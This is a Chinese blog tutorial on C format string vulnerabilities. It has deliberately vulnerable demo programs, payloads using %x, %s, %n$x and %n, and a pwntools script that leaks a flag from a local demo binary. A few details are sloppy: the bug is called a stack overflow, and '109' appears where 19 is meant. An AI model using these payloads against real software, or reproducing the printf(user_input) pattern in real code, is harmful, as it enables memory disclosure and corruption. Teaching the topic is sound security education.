格式化字符串漏洞

格式化字符串漏洞

在编程语言中,常用的输出字符函数:printf()。第一个参数是字符串,被称为格式化字符串,程序员可以在该字符串中使用 %d、%s、%c 等占位符,printf 将依据这些占位符和其他参数整合出一个完整的字符串并输出。

格式控制字符类型

常见的格式化字符串函数

输入:Scanf

输出:

printf是我们使用的最多的一个函数,将格式化之后的字符串输出到标准输出流中。所有 printf 函数族的返回值是:写入字符串成功返回写入的字符总数,写入失败则返回一个负数。

1
int sprintf(char * _s,const char* _format,...)

漏洞基本原理

我们先来看一个简单的c语言程序,如图输出a的值为10

下面我们修改下代码,继续观察printf()打印的字符串为459461944

哎?为什么两个程序输出不一样呢?

两个程序代码不同的是sprintf()函数的参数不同:

1
2
printf("The value of a is %d\n",a);
printf("The value of a is %d\n");

第一个printf()输出的是a的值,但第二个printf()没有指定参数,为什么会输出459461944呢,这就要回到printf()这个函数上来

格式化字符串漏洞原理:

printf不会检查格式化字符串中的占位符算法与所给的参数数目相等,这是什么意思呢?我们使用函数堆栈来解释

当第一个sprintf中,格式化字符遇到%d时会去依次调用参数,这里就是去调用参数a=10并输出

在第二个sprintf中,由于在格式化字符后没有给出参数,但printf仍然回去调用格式化字符后的其他栈帧数据并输出

综合可以看出,如果用户通过可控数据向printf()传递非法数据,使得格式化字符所要求的参数个数与实际参数数量不匹配,将导致栈溢出漏洞,可用于任意内存读写,堆栈破环,返回地址被修改等

Demo分析

代码如下所示

1
2
3
4
5
6
7
8
9
//gcc test.c -o test -m64
#include <stdio.h>
int main()
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}

输入AAAA-%x-%x-%x-%x-%x-%x,查看运行结果

由于这里printf(a),将a当作是format格式化字符,其中每遇到一个占位符%x就会去调用函数栈帧中紧挨这fromat格式化字符的一个内存数据,所以这里输入有6个占位符,输出就有6个内存数据,其中“414141”这个数据就是“AAAA”字符串的ASCII码的十六进制,所以可以得到此时a数组在函数栈中的偏移量为6

漏洞利用

拒绝服务攻击

攻击者使用多个%s作为格式化字符串函数来使程序崩溃,原因是当访问的地址处于保护或者是非法地址时,程序会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

int main(void)
{
char test[128];
while (1)
{
scanf("%s", test);
printf(test);
}
return 0;
}

当输入正确的字符时运行正常,但%s占位符输入过多时就会导致程序崩溃

内存数据读取

利用格式化字符漏洞读取堆栈内存中的数据

1
2
3
4
5
6
7
8
9
//关闭canary保护,开启栈可执行编译
//gcc -fno-stack-protector -z execstack test.c -o test
#include <stdio.h>

int main()
{
printf("%s %d %s %08x %08x %08x","Hello World!",233,"\n");
return 0;
}

可以读取到其他内存数据

获取栈变量数值

通过%n$x获取指定位置的参数,如下图所示

此时在栈中aaaa的偏移量为6,这里输入%6$x指定第六个参数即616161

  • 用%nx获取%p按顺序泄露栈数据
  • 用%s获取变量地址,遇0截断
  • 用%ns或者%n$s获取指定指定n个参数的值或字符串

任意地址读取

原理就是利用%s去读取输入的十六进制内存地址,但遇0则截断

demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
char *flag="flag{Pwn_Caiji_Xiao_fen_dui}\n";

int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
printf("Please input s\n")
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
  • 首先确定受控参数的偏移量

这里s在第二个printf函数中的偏移量为6

  • 将受控参数替换为要读取内存的地址

这里需要读取flag字符,查询该字符的偏移量

或者使用pwnlib.elf模块来获取符号名偏移量

1
2
3
elf = ELF("./test1")
#获取flag符号偏移
flag_offset = elf.symbols['flag']
  • 构造输入参数
1
payload = p32(flag_offset)+b'%6$s'

exp代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#导入pwn模块
from pwn import *
#设置运行环境
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#封装进程
p = process("./test")
#解析ELF
leakmemory = ELF("./test")
#获取flag符号偏移
flag_offset = leakmemory.symbols['flag'] #如果要泄漏got表可以改成 leakmemory.got['printf']等函数名.
#构造Payload
Payload = p32(flag_offset) + b'%6$s'
#发送Payload
print("[+] 发送Payload:")
p.sendline(Payload)
print(Payload)
#接受返回数据
print("[+] 接受数据:")
print(p.recvline())
flag = p.recv()
flag = u32(flag[4:8])
print("flag地址:{0}".format(hex(flag)))
#打印flag
print("[+] flag如下:")
print("")
#读取leakmemory中flag内存
print(leakmemory.read(flag,30))

内存数据覆盖

使用%n将占位符之前输出的字节数写入到目标地址中

1
2
3
4
5
6
7
8
9
10
#include<stdio.h>

int main()
{
int a = 10;
printf("The value of a is %d\n",a);
printf("0123456789876543210%n\n",&a);
printf("THe value of a is %d",a);
return 0;
}

运行结果如下

可以看到,a 的值被修改为了 19。这是因为 printf("0123456789876543210%n\n", &a)%n 前已经成功输出了 “0123456789876543210” 共计 19 个字节,因此 %n 便会将 109写入目标地址a中。**%n 会将其对应的参数作为地址解析。因此只要我们向栈上写入目标地址,再使用 %n 即可向目标地址写入数据。**

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信